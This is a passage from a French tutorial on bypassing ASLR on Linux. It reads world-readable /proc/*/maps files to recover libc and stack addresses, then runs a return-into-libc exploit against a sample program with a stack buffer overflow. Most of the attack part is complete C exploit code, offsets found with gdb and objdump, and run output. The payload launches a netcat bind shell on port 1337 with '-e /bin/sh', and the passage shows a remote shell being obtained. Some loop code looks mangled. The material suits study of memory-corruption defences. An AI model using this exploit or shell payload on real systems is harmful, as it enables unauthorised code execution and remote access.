II°) Return into libc
Permissions sur les fichiers /proc/*/maps
Il est vrai que les librairies et autres adresses sont désormais dynamiques. Est-il vrai pour autant
qu'on ne peut pas les déterminer avec exactitude ? Pas si sûr cette fois. En effet, par défaut, les fichiers maps
de tous les processus sont accessibles en lecture par tous les utilisateurs :
$ ls /proc/*/maps -l | cut -d " " -f1
-r--r--r--
-r--r--r--
-r--r--r--
-r--r--r--
-r--r--r--
-r--r--r--
-r--r--r--
-r--r--r--
-r--r--r--
-r--r--r--
[...]
Il nous reste donc à vérifier que l'offset entre un espace mémoire et le début d'une librairie ou de la pile sont
constants. Prenons le programme suivant :
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#define LIBC 0
#define STACK 1
#define WRAPPER "WRAPPER"
long get_base(pid_t pid, int type) {
FILE * fp;
char filename[30],line[100],junk[100],mode[5];
long base;
int i;
sprintf(filename,"/proc/%d/maps",pid);
if ((fp = fopen(filename,"r")) == NULL) {
printf("Unable to read map file\n");
exit(1);
}
// Parsing map file
while (fgets(line,sizeof(line),fp))
if (sscanf(line,"%x-%s %s %s %s %s %s",(unsigned int *)&base, junk, mode, junk, junk, junk, junk, junk) == 7) {
// junk is the last format argument written
if (type == LIBC && !strcmp("r-xp",mode)) {
for (i=0;i<strlen(junk)-3;i++)
if (junk[i] == 'l' && junk[i+1] == 'i' && junk[i+2] == 'b' && junk[i+3] == 'c') {
}
} else if (type == STACK && !strcmp(junk,"[stack]")) {
}
}
printf("Unable to retrieve segment base from map file\n");
fclose(fp);
exit(1);
}
int main() {
unsigned long libc_base, stack_base;
unsigned long str_offset = 0x13df4f; //offset de "%n" dans la libc
printf("Retrieving libc base...\n");
printf("Libc base: %x\n",(unsigned int)(libc_base = get_base(getpid(),LIBC)));
printf("Retrieving stack base...\n");
printf("Stack base: %x\n",(unsigned int)(stack_base = get_base(getpid(),STACK)));
printf("@0x%x: %s\n",(unsigned int)(libc_base + str_offset),(char *)(libc_base + str_offset));
printf("WRAPPER@0x%x (offset=0x%x)\n", (unsigned int)getenv(WRAPPER), (unsigned int)(getenv(WRAPPER) - stack_base));
return 0;
}
Ce programme parse rapidement le fichier maps lui correspondant, retrouve le début de la libc et celui de la pile et
affiche la chaîne de caractères associée avec l'offset 0x13df4f dans la libc, ainsi que la variable d'environnement
WRAPPER et son offset par rapport au début de la pile. Bien sûr, le choix de l'offset n'est pas innocent, il pointe
vers la chaîne de caractère "%n" dans la libc (dans ma version du moins) :
$ gdb -q /lib/tls/i686/cmov/libc.so.6
(gdb) x/s 0x13df4f
0x13df4f: "%n"
Essayons donc de faire tourner ce programme :
$ export WRAPPER="test" && gcc read_map.c -o read_map && ./read_map && ./read_map
Retrieving libc base...
Libc base: b7ddb000
Retrieving stack base...
Stack base: bfc0e000
@0xb7f18f4f: %n
WRAPPER@0xbfc22ca7 (offset=0x14ca7)
Retrieving libc base...
Libc base: b7e2f000
Retrieving stack base...
Stack base: bf827000
@0xb7f6cf4f: %n
WRAPPER@0xbf83bca7 (offset=0x14ca7)
$
Avec deux exécutions successives, on voit bien que les adresses de chargement sont modifiées, que l'on est capable de les
lire et que les offsets sont respectés. Par conséquent, si nous nous plaçons dans un schéma d'exploitation local, il nous
est possible de passer complètement outre ASLR en effectuant une exploitation return into libc classique.
Return into libc
Comme expliqué brièvement dans la section précédente, l'exploitation return-into-libc est simple. Il
suffisait d'y penser comme qui dirait. Nous allons ici nous contenter d'une preuve de concept, dans laquelle le but sera
d'exécuter via la fonction system() de la libc le programme /tmp/wrapper, qui fait un appel à seteuid(0) et qui exécute
netcat -l -p 1337 -e /bin/sh (ce qui démarrera un shell distant sur le port 1337). Je dis preuve de concept car nous savons bien que system() va dropper les privilèges et donc notre seteuid(0) ne servira à rien. Afin d'effectuer une vraie
exploitation, nous aurons besoin de savoir chainer les appels.
Considérons le programme vulnérable suivant :
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void enregistrer_nom() {
char buffer_nom[100];
printf("Votre nom ?\t");
scanf("%s",buffer_nom);
buffer_nom[strlen(buffer_nom)] = 0;
printf("Votre nom, %s, a été enregistré avec succès\n",buffer_nom);
}
int main() {
enregistrer_nom();
printf("Tout s'est normalement déroulé\n");
return 0;
}
Pour exploiter ce buffer overflow apparent, nous allons donc changer de stratégie et retourner dans la libc, plus
précisément dans system(). Cette fonction prend en paramètre un pointeur vers une chaîne de caractères qui est
le programme à exécuter. Puisque nous connaissons l'adresse de la pile, pourquoi ne pas placer cette chaîne dans
l'environnement ? Il nous suffira de déterminer l'offset au préalable et d'insérer stack_base + offset dans la pile,
à l'endroit où est censé se trouver l'argument de la fonction.
Un petit détail à ne pas oublier : après l'adresse de système, il faut laisser 4 bytes qui ne nous serviront pas mais
qui constitueraient l'adresse de retour après l'exécution de system() (en faisant ça proprement et pour éviter le
SIGSEGV, on pourrait placer l'adresse de exit()). L'état de la pile va donc devoir ressembler à
quelque chose de ce genre :
+++++++++
Buffer
+++++++++
SFP
+++++++++
@system
+++++++++
DUMMY
+++++++++
@wrapper
+++++++++
En premier lieu, il faut donc déterminer l'offset de la variable d'environnement pour le programme d'exploitation
(./return-into-libc) et le programme vulnérable (./vuln). Pour ne pas s'embêter avec des calculs bêtes et méchants,
on fait rapidement un petit programme qui fork le read_map précédemment utilisé :
$ export WRAPPER="/tmp/wrapper" && gcc fork_vulx.c -o return-into-libc && cp read_map vulx && ./return-into-libc && rm vulx return-into-libc
Retrieving libc base...
Libc base: b7f5b000
Retrieving stack base...
Stack base: bfd76000
@0xb8098f4f: %n
WRAPPER@0xbfd8aca7 (offset=0x14c9b)
$
L'offset pour notre variable d'environnement sera donc de 0x14c9b. Prenons maintenant l'offset dans la libc de
system() :
$ objdump -d /lib/tls/i686/cmov/libc.so.6 | grep system\>\:
00039ac0 <__libc_system>:
$
On a donc notre dernier offset, 0x39ac0. Le programme d'exploitation va donc d'abord devoir démarrer ./vuln, on place
une pipe entre stdin du programme vulnérable et stdout du programme d'exploitation, on récupère les valeurs des
segments mémoires qui nous intéressent (la pile et libc) pour le programme vulnérable, puis on insère notre buffer
explicité ci-dessus, avec les bonnes valeurs. Le programme d'exploitation suivant devrait donc faire l'affaire :
int main() {
char buffer[104 + 3*4 + 2];
unsigned long libc_base, stack_base;
unsigned long system_offset = 0x39ac0;
unsigned long wrapper_env_offset = 0x14c9b;
pid_t pid;
int i;
int fpipe[2];
pipe(fpipe);
if ((pid = fork()) == 0) {
dup2(fpipe[0],0);
execl("./vuln","vuln",NULL);
exit(1);
}
sleep(1);
printf("Retrieving libc base...\n");
printf("Libc base: %x\n",(unsigned int)(libc_base = get_base(pid,LIBC)));
printf("Retrieving stack base...\n");
printf("Stack base: %x\n",(unsigned int)(stack_base = get_base(pid,STACK)));
for (i = 0; i < 104; i++)
i >>= 2;
*((unsigned long *)buffer + i++) = (libc_base + system_offset);
*((unsigned long *)buffer + i++) = 0xdeadbeef;
*((unsigned long *)buffer + i++) = (stack_base + wrapper_env_offset);
buffer[104 + 3*4] = '\n';
buffer[104 + 3*4 + 1] = 0;
dup2(fpipe[1],1);
printf("%s\n",buffer);
wait(pid);
return 0;
}
Bon, essayons maintenant de le démarrer :
$ gcc return-into-libc.c -o return-into-libc && ./return-into-libc
Retrieving libc base...
Libc base: b7d80000
Retrieving stack base...
Stack base: bffa1000
Votre nom ? Votre nom, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?y??\??, a été enregistré avec succès
Le programme ne finit pas : c'est normal ! On se rappelle que notre wrapper est censé lancer un shell à distance sur le
port 1337, allons voir !
$ nc localhost 1337
id
uid=1000(user) gid=1000(user) groups=1000(user)
exit
$
Voici donc une exploitation locale réussie, malgré ASLR et en dehors de la pile. Le problème, c'est que tout se repose
essentiellement sur la lisibilité du fichier maps. Or, les configurations actuelles réduisent au minimum nécessaire
les droits sur les différents fichiers de /proc (et c'est encore pire avec GrSec). De plus, nous n'avons utilisé
qu'un appel à system() qui n'est pas suffisant pour obtenir les droits root (mais qui reste suffisant dans le
cas d'un exploit distance par exemple). Dans la section suivante, nous allons étudier les possibilités de brute
force basique sur ASLR et le chaînage des appels sur la pile.